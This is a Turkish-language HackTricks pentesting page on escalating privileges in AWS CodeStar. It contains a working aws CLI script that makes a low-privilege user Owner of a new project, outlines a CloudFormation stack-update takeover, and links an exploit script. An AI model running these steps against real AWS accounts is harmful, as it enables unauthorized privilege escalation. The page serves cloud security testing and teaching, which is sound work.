AWS - Codestar Privesc

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Codestar

Codestar hakkında daha fazla bilgi bulabilirsiniz:

codestar:CreateProject, codestar:AssociateTeamMember

iam:PassRole, codestar:CreateProject

Bu izinlerle bir codestar IAM Rolünü kötüye kullanarak rastgele eylemler gerçekleştirebilirsiniz cloudformation şablonu aracılığıyla. Aşağıdaki sayfayı kontrol edin:

iam:PassRole, codestar:CreateProject

codestar:CreateProject, codestar:AssociateTeamMember

Bu teknik, bir codestar projesi oluşturmak için codestar:CreateProject kullanır ve bir IAM kullanıcısını yeni bir CodeStar projesinin sahibi yapmak için codestar:AssociateTeamMember kullanır; bu da onlara birkaç ek izinle yeni bir politika verecektir.

PROJECT_NAME="supercodestar"

aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME

echo "Waiting 1min to start the project"
sleep 60

USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')

aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-id $PROJECT_NAME \
--user-arn "$USER_ARN" \
--project-role "Owner" \
--remote-access-allowed

Eğer zaten projenin üyesiyseniz, codestar:UpdateTeamMember iznini kullanarak rolünüzü codestar:AssociateTeamMember yerine sahip olarak güncelleyebilirsiniz.

Olası Etki: Oluşturulan codestar politikasına privesc. Bu politikanın bir örneğini şurada bulabilirsiniz:

codestar:CreateProject, codestar:AssociateTeamMember

codestar:CreateProjectFromTemplate

  1. Yeni Bir Proje Oluşturun:
  • Yeni bir projenin oluşturulmasını başlatmak için codestar:CreateProjectFromTemplate eylemini kullanın.
  • Başarılı bir şekilde oluşturulduğunda, cloudformation:UpdateStack için erişim otomatik olarak verilir.
  • Bu erişim, CodeStarWorker-<generic project name>-CloudFormation IAM rolü ile ilişkili bir yığına yöneliktir.
  1. Hedef Yığını Güncelleyin:
  • Verilen CloudFormation izinleri ile belirtilen yığını güncellemeye devam edin.
  • Yığının adı genellikle iki desenle uyumlu olacaktır:
  • awscodestar-<generic project name>-infrastructure
  • awscodestar-<generic project name>-lambda
  • Kesin ad, seçilen şablona bağlıdır (örnek istismar betiğine atıfta bulunarak).
  1. Erişim ve İzinler:
  • Güncelleme sonrası, yığınla bağlantılı CloudFormation IAM rolü ile atanan yetenekleri elde edersiniz.
  • Not: Bu, doğası gereği tam yönetici ayrıcalıkları sağlamaz. Ayrıcalıkları daha da yükseltmek için ortamda ek yanlış yapılandırılmış kaynaklar gerekebilir.

Daha fazla bilgi için orijinal araştırmaya bakın: https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/.
İstismarı şurada bulabilirsiniz: https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py

Olası Etki: Cloudformation IAM rolüne privesc.

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin